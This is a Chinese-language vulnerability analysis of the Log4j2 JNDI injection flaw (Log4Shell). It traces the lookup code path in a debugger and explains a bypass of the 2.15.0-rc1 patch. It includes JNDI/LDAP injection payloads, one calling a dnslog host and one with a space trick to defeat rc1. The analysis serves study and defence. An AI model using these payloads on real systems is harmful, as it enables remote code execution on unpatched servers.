漏洞成因:
当日志中含有${字符串时,程序会使用lookup解析字符串导致注入。lookup机制提供了一种在任意位置向Log4j配置添加值的方法.它们是实现StrLookup接口的特定类型的插件,支持date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j这些协议,即可使用jndi协议,造成JNDI注入,进而造成RCE漏洞
代码分析:
使用唐小风的exp搭建一个demo,https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
1、给logger.error()打上断点,进行debug调试
2、点击下一步,进入到了 error:AbstractLogger (org.apache.logging.log4j.spi) 中
3、跟进 logIfEnabled:AbstractLogger (org.apache.logging.log4j.spi) 中
这里会调用 isEnabled:Logger (org.apache.logging.log4j.core)判断logger的级别
如果满足要求,会进入 logMessage:AbstractLogger (org.apache.logging.log4j.spi) 中
这里省略一些不重要的函数调用,直接进入log中
4、LoggerConfig:logEvent(org.apache.logging.log4j.core.config)
然后进入到 processLogEvent:LoggerConfig (org.apache.logging.log4j.core.config)中
调用callAppenders
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config) 中调用callAppender
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config) 中调用append
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) 中调用encode
toText:244, PatternLayout (org.apache.logging.log4j.core.layout) 中调用toSerializable
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout) 中调用format
5、我们跟进到 format:60, LiteralPatternConverter (org.apache.logging.log4j.core.pattern)
这里是第一个关键点,我们看以下代码
this.substitute = config != null && literal.contains("${");
this.substitute ? this.config.getStrSubstitutor().replace(event, this.literal) : this.literal
这是一个三元表达式,需要同时满足config不为空和result包含"${",才会运行 this.config.getStrSubstitutor().replace(event, result),所以payload中要有${才可以
继续跟进到 substitute:StrSubstitutor (org.apache.logging.log4j.core.lookup) 中,可以看到匹配一些特殊字符
如果字符串中有这些字符就进行删除,我们的payload就被处理为了jndi:ldap://h1glio.dnslog.cn/id
继续跟进
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {
StrLookup resolver = this.getVariableResolver();
return resolver == null ? null : resolver.lookup(event, variableName);
}
调用了 getVariableResolver:StrSubstitutor (org.apache.logging.log4j.core.lookup) ,该方法会根据协议来进行处理操作,支持协议有date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
然后跟进到 lookup: Interpolator (org.apache.logging.log4j.core.lookup) ,
程序匹配到来jndi,就会选用Jndi Lookup进行处理.JndiLookup允许通过JNDI检索变量,
默认情况下, key的前缀为 java:comp/env / ,但如果key包含“:”,则不会添加前缀
关于lookup详情,可参考文档Log4j2 中文文档 - Lookups | Docs4dev
继续跟进,在 lookup:JndiManager (org.apache.logging.log4j.core.net) lookup:56, 中会调用 jndiManager.lookup解析请求,最终形成注入漏洞.
Bypass rc1:
2021年12月06日,log4j2 发布修复包 log4j-2.15.0-rc1.jar,但是rc1存在被绕过的风险。
我们看下官方的rc2的修复包,对比rc1,我们看到是在catch下面加了return null。
其实rc1的绕过就在此处,想办法让其抛出URISyntaxException异常,那么代码就能进入到catch中,然后就能像未修复之前,执行lookup。
查阅资料发现URI uri = new URI(name);其实是将name转换为等效的 URI,任何 name实例只要遵守 RFC 2396 就可以转化为 URI,有些未严格遵守该规则的 name 将无法转化,就会抛出URISyntaxException异常,所以我们使用${jndi:ldap://127.0.0.1:1389/ badClassName}就可以绕过rc1,注意/与badClassName之间存在空格,空格的存在使得 name未遵守RFC 2396,就会抛出异常,进而执行lookup。



